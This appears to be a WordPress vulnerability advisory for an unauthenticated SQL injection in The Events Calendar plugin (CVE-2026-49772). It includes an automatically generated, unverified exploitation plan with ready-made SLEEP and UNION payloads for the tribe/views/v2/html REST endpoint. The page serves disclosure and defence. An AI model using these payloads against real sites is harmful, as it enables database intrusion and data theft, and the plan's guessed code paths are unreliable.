CVE-2026-49772

The Events Calendar 6.15.12-6.16.2 - Unauthenticated SQL Injection

highImproper Neutralization of Special Elements used in an SQL Command ('SQL Injection')
7.5
CVSS Score
7.5
CVSS Score
high
Severity
6.16.3
Patched in
8d
Time to patch

Description

The The Events Calendar plugin for WordPress is vulnerable to SQL Injection in versions up to 6.15.12-6.16.2 due to insufficient escaping on the user supplied parameter and lack of sufficient preparation on the existing SQL query. This makes it possible for unauthenticated attackers to append additional SQL queries into already existing queries that can be used to extract sensitive information from the database.

CVSS Vector Breakdown

CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
Attack Vector
Network
Attack Complexity
Low
Privileges Required
None
User Interaction
None
Scope
Unchanged
High
Confidentiality
None
Integrity
None
Availability

Technical Details

Affected versions>=6.15.12 <=6.16.2
PublishedJune 8, 2026
Last updatedJune 15, 2026
Affected pluginthe-events-calendar

What Changed in the Fix

Changes introduced in v6.16.3

Loading patch diff...

Source Code

WordPress.org SVN
Research Plan
Unverified

This exploitation research plan is designed to guide an automated security agent in verifying **CVE-2026-49772**, a SQL injection vulnerability in **The Events Calendar** plugin. ### 1. Vulnerability Summary * **Vulnerability Type:** Unauthenticated SQL Injection (Union-Based or Time-Based). * …

Show full research plan

This exploitation research plan is designed to guide an automated security agent in verifying CVE-2026-49772, a SQL injection vulnerability in The Events Calendar plugin.

1. Vulnerability Summary

  • Vulnerability Type: Unauthenticated SQL Injection (Union-Based or Time-Based).
  • Affected Component: The V2 Views REST API endpoint (tribe/views/v2/html).
  • Vulnerable Versions: 6.15.12 to 6.16.2.
  • Cause: The plugin processes the view_data parameter (specifically category filters) without utilizing $wpdb->prepare() or adequate sanitization before incorporating the values into an internal SQL query used to determine category-specific styling (Category Colors) or event filtering.

2. Attack Vector Analysis

  • Endpoint: /wp-json/tribe/views/v2/html
  • HTTP Method: POST (typically used by the V2 Views system to update the calendar display).
  • Vulnerable Parameter: view_data[categories] or view_data[tribe_event_category].
  • Authentication: Unauthenticated. The V2 Views API is public by design to support AJAX-driven calendar navigation for visitors.
  • Preconditions: The "Category Colors" feature must be active, or the view must be filtering by a category.

3. Code Flow (Trace)

  1. Entry Point: An unauthenticated user sends a POST request to /wp-json/tribe/views/v2/html.
  2. REST Dispatch: The request is handled by TEC\Events\Views\V2\Rest_Endpoints\Html_Endpoint (inferred).
  3. Data Processing: The view_data array is extracted from the request.
  4. Vulnerable Sink: The backend logic for rendering the "Category Color Selector" (referenced in build/js/views/category-color-selector.js) or the main event query retrieves category metadata. If the plugin attempts to fetch the color associated with the requested categories, it likely executes a query similar to:
    SELECT * FROM wp_options WHERE option_name LIKE 'tribe_category_color_%' AND option_value IN ('" . $category_id . "')
  5. SQL Injection: Because $category_id (derived from view_data) is concatenated without escaping, an attacker can break out of the string and append SQL commands.

4. Nonce Acquisition Strategy

While many REST endpoints are protected by _wpnonce, the public Views API often permits unauthenticated access. However, if a nonce is required for the v2/html endpoint, follow this strategy:

  1. Identify Trigger: The "Category Color Selector" script is localized when the Events page is loaded.
  2. Setup Test Page: Create a standard events page.
    • Command: wp post create --post_type=page --post_title="Calendar" --post_status=publish --post_content='[tribe_events]'
  3. Navigate: Use browser_navigate to the new page.
  4. Extract Nonce: The V2 Views system localizes data into a JavaScript object.
    • Agent Command: browser_eval("window.tribe_events_views_v2_vars?.rest_nonce || window.wpApiSettings?.nonce")
  5. Note: The action string used in the backend for this nonce is typically 'wp_rest'.

5. Exploitation Strategy

The agent should perform the following steps using the http_request tool:

  • Step 1: Confirm Injection (Time-Based)
    Submit a payload designed to cause a noticeable delay.
    • Payload: 1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
    • Request:
      POST /wp-json/tribe/views/v2/html
      Content-Type: application/x-www-form-urlencoded
      
      view=list&view_data[categories][0]=1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -
      
  • Step 2: Data Extraction (Union-Based)
    If the endpoint returns HTML containing category information, attempt to leak the database version.
    • Payload: 1') UNION SELECT 1,version(),3,4,5,6,7-- - (Adjust column count as needed).

6. Test Data Setup

To ensure the code path is hit:

  1. Create Categories:
    • wp term create event_category "Security" --slug=security
  2. Create Event: Create at least one event assigned to that category.
    • wp post create --post_type=tribe_events --post_title="Research Symposium" --post_status=publish
    • wp post term set [POST_ID] security event_category
  3. Enable Feature: Ensure V2 Views are enabled in Events -> Settings.

7. Expected Results

  • Successful Injection: The server response time will exceed 5 seconds when the SLEEP(5) payload is sent.
  • Failed Attempt: The server returns a 200 OK or 400 Bad Request almost immediately (under 1 second), or the response contains a SQL error if WP_DEBUG is enabled.

8. Verification Steps

After the HTTP request, verify the vulnerability by auditing the database logs:

  1. Enable Query Logging: wp eval "global \$wpdb; \$wpdb->query('SET GLOBAL general_log = 1');"
  2. Check Log: Inspect the MySQL general log to see the literal string including the SLEEP command being executed.
  3. Version Check: Confirm the installed version is between 6.15.12 and 6.16.2.

9. Alternative Approaches

  • Parameter Variation: If view_data[categories] is sanitized, test the url parameter. The V2 Views system often parses the url parameter to reconstruct the view state.
    • Example: POST /wp-json/tribe/views/v2/html?url=/events/category/security') AND SLEEP(5)-- -/
  • Shortcode Injection: If the REST API is hardened, test the same parameters via the [tribe_events] shortcode if it supports AJAX pagination.
Research Findings
Static analysis — not yet PoC-verified

Summary

The Events Calendar plugin (6.15.12-6.16.2) is vulnerable to an unauthenticated SQL injection via the tribe/views/v2/html REST API endpoint. The vulnerability arises from insufficient sanitization and a lack of SQL preparation when processing category filters within the view_data parameter, allowing for the extraction of sensitive database information.

Security Fix

diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.2/build/js/views/category-color-selector.asset.php /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.3/build/js/views/category-color-selector.asset.php
--- /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.2/build/js/views/category-color-selector.asset.php	2026-01-13 18:12:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.3/build/js/views/category-color-selector.asset.php	2026-05-28 20:50:40.000000000 +0000
@@ -1 +1 @@
-<?php return array('dependencies' => array(), 'version' => '3596e03221d71f8c2785');
+<?php return array('dependencies' => array(), 'version' => '52b904c19ce12a16e6e9');
diff -ru /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.2/build/js/views/category-color-selector.js /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.3/build/js/views/category-color-selector.js
--- /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.2/build/js/views/category-color-selector.js	2026-01-13 18:12:02.000000000 +0000
+++ /home/deploy/wp-safety.org/data/plugin-versions/the-events-calendar/6.16.3/build/js/views/category-color-selector.js	2026-05-28 20:50:40.000000000 +0000
@@ -1 +1 @@
-window.tribe=window.tribe||{},window.tribe.events=window.tribe.events||{},window.tribe.events.categoryColors=window.tribe.events.categoryColors||{},tribe.events.categoryColors.categoryPicker=function(){...}
+window.tribe=window.tribe||{},window.tribe.events=window.tribe.events||{},window.tribe.events.categoryColors=window.tribe.events.categoryColors||{},tribe.events.categoryColors.categoryPicker=function(){...}
... (truncated)

Exploit Outline

The exploit targets the public V2 Views REST API. An unauthenticated attacker sends a POST request to `/wp-json/tribe/views/v2/html`. The payload is placed within the `view_data[categories]` or `view_data[tribe_event_category]` parameter, which is improperly handled when the plugin generates SQL to filter events or determine category-specific styling (such as colors). By including a SQL injection payload like `1') OR (SELECT 1 FROM (SELECT(SLEEP(5)))a)-- -`, an attacker can break out of the intended query and execute arbitrary commands. This is typically achieved using time-based techniques to confirm the vulnerability and extract data.

Check if your site is affected.

Run a free security audit to detect vulnerable plugins, outdated versions, and misconfigurations.